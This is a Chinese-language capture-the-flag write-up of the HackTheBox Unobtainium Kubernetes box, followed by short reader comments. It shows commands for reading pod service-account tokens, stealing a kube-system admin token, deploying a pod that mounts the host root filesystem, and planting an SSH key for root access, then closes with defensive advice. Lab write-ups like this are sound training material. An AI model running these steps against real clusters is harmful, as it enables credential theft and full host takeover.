Unobtainium这个靶机是hackthebox的K8S靶机,最近云跟大数据好像很流行,我也来跟风一下,主要还是介绍拿下一个POD后续利用。
开始我们还是常规的信息搜集之类的,常规扫端口看服务 这里我们看到了etcd这个服务(etcd是一个非常可靠的kv存储系统,常在分布式系统中存储着关键的数据) https://zhuanlan.zhihu.com/p/339902098(外链介绍) 具体就是该存储系统配置不好会导致未授权,我们继续 确认该靶机是在虚拟化中,查找dockerenv文件 中间利用我就不提了大家可以自行搭建搞定shell的途径,我们讲的重点是搞定K8S主机权限之后的后续操作 进入一个POD还是要信息收集serviceaccount 该文件存在于两个位置: /run/secrets/kubernetes.io/serviceaccount /var/run/secrets/kubernetes.io/serviceaccount 因为刚开始我们知道有一个etcd服务,所以可以猜测大概是master节点,然后构造命令请求api cd /run/secrets/kubernetes.io/serviceaccount curl --cacert ca.crt --header "Authorization: Bearer $(cat token)" -X GET https://10.10.10.235:8443/api 创建一个~/.kube/config,kubectl默认会从$HOME/.kube目录下查找文件名为 config 的文件,config就是访问集群的配置。 token 就是/run/secrets/kubernetes.io/serviceaccount/token certificate-authority-data 就是base64 编码后的/run/secrets/kubernetes.io/serviceaccount/ca.crt 大概是如下配置
apiVersion: v1 kind: Config users: - name: evil user: token: eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tZ3YycHEiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZW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Jmd0NuMlpXK24zCk5nQzRPSTg0empWSHBYbVhGYUdzZURIYi9FNHdLL04waE1EMERFVlBKc0VPb2dITTlMbmRVZ3lKbWhBdFdiRWoKMjUrSDhBd1FpMy84UFlORXNtdFNBVUV1V3RZMzZweC9zRDVDdGhpTmxOcGtCNXQ1YzFHSzkwRG15b2ZxQmdZdgo5d2tDTkdHWktwM0F4TU1OMm5zQ0F3RUFBYU5DTUVBd0RnWURWUjBQQVFIL0JBUURBZ0trTUIwR0ExVWRKUVFXCk1CUUdDQ3NHQVFVRkJ3TUNCZ2dyQmdFRkJRY0RBVEFQQmdOVkhSTUJBZjhFQlRBREFRSC9NQTBHQ1NxR1NJYjMKRFFFQkN3VUFBNElCQVFBSEpqbzhVYzNTSDFVbnNLU3daSlR1eWozNlcvbXNiTXIwcFNuM2RsRTZCb3V1a2hGMwo5R3htVmEyYW40L1ZGSmtBc1pTcUZVejFlNTJxdkpvRkpjWGVjNE1pTjZHWlRXdVVBOUQvanFpYXBuSFdlTzh4ClJHazRXTjY2WnJhTTBYM1BxYUhvK2NiZmhLT2xMOWprVXh2RSszQld1ajlwbHlEM245dEZlM2xuYXNEZnp5NE0KcTQ2NWl4UFpxRnFWY2h4UUZRK3BaMjRLaXFvUVc0bWFtL3g1RlB5MTMrTXc4SjR6Yjh2TGR1dkxRUjN3cFVHYgp2S1hkbktPTFdzaUV4eXJqcFpqWmJZQkw4YjcwNVhGRkd2bWFicDIxYUc4cHNCMVh2c0xpR0ZRRXF5RGZlRlJXCmhsN0twVUlTbDQrTnA1c0FpWE53dGJTREUrMjJRVnRaYnVEbgotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== server: https://10.10.10.235:8443/ name: unobtainium-cluster contexts: - context: cluster: unobtainium-cluster user: evil name: context current-context: context preferences: colours: true
使用命令查看命名空间 kubectl get namespaces 列一个PODS试试 kubectl get pods -A 发现失败了 指定命名空间,可以发现有3个POD,应该是同一个应用 kubectl get pods -n dev 查看pod详情 kubectl describe pods -n dev 看看详情中的IP kubectl describe pods -n dev | grep IP 然后手动收集搞定,上传一个cdk自动化收集(大家可能没听过,https://github.com/cdk-team/CDK/wiki/CDK-Home-CN)CDK(Container DucK)是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。 然后直接上传开扫 ./cdk_linux_amd64_upx probe 172.17.0.0-255 1-65535 100 500 大概也就能拿到这些信息,其实K8S也就那么点东西,基本都是一些POD对外提供服务,看看能不能搞到其他POD也是之前一样的payload cd /run/secrets/kubernetes.io/serviceaccount kubectl auth can-i --list --token $(cat token) --server https://10.10.10.235:8443 --certificate-authority ca.crt 基本POD都是一样的 查看系统命名空间,可以发现能访问secret kubectl auth can-i --list -n kube-system --token $(cat token) --server https://10.10.10.235:8443 --certificate-authority ca.crt 继续搞 cd /run/secrets/kubernetes.io/serviceaccount kubectl auth can-i --list -n kube-system --token $(cat token) --server https://10.10.10.235:8443 --certificate-authority ca.crt kubectl get secrets -n kube-system --token $(cat token) --server https://10.10.10.235:8443 --certificate-authority ca.crt 把这个secret拉出来 kubectl get secrets -o yaml -n kube-system 看看有没有高权的 kubectl describe secrets/c-admin-token-tfmp2 -n kube-system
查看当前权限是否创建POD命令如下: kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZ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jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow -A 发现有两个emage localhost:5000/node_server和localhost:5000/dev-alpine 新建一个yaml挂载一下
kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pd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QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow -A
apiVersion: v1 kind: Pod metadata: name: alpine namespace: kube-system spec: containers: - name: evilpod image: localhost:5000/dev-alpine command: ["/bin/sh"] args: ["-c", "sleep 300000"] volumeMounts: - mountPath: /mnt name: hostfs volumes: - name: hostfs hostPath: path: / automountServiceAccountToken: true hostNetwork: true
挂载命令: kubectl apply -f evilpod.yaml --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owF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MuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow -A
老样子搞一个密钥对 ssh-keygen -t rsa 然后在POD里上传公钥 cd /mnt/root mkdir /mnt/root/.ssh chmod 700 /mnt/root/.ssh echo "公钥" > /mnt/root/.ssh/authorized_keys chmod 600 /mnt/root/.ssh/authorized_keys 然后使用私钥登录 ssh -i /root/.ssh/id_rsa root@10.10.10.235 基本也就结束了,大概总结一下吧,这个靶机问题出在哪里:
SCA :省略的前期打点中主要依靠的就是旧/不维护版本的安全问题,如果在开发前期集成进行准入管控,也可以扼杀攻击者入口,这里给一些建议: 容器功能最小化:比如本例中不要给POD不需要的serviceaccout权限。 传统安全设备:比如防火墙/全流量设备等,K8S绝不代表不需要安全设备。 K8S运行时检测能力:异常的shell命令执行(POD信息收集)、敏感目录挂载、kubectl文件、cdk等容器渗透工具。 集群内外关系、资产可视化展示能力:确定目前的影响面。 K8S日志采集:回溯攻击者攻击路径,形成预测、防御、检测、响应闭环
Herry 这个代码的格式、缩进有问题,没法测试。 😃
lanbo1 马上调
apiVersion: v1 kind: Pod metadata: name: alpine namespace: kube-system spec: containers: - name: evil0xdf image: localhost:5000/dev-alpine command: ["/bin/sh"] args: ["-c", "sleep 300000"] volumeMounts: - mountPath: /mnt name: hostfs volumes: - name: hostfs hostPath: path: / automountServiceAccountToken: true hostNetwork: true
师傅,想问下是怎么拿到shell的呢?菜鸡求问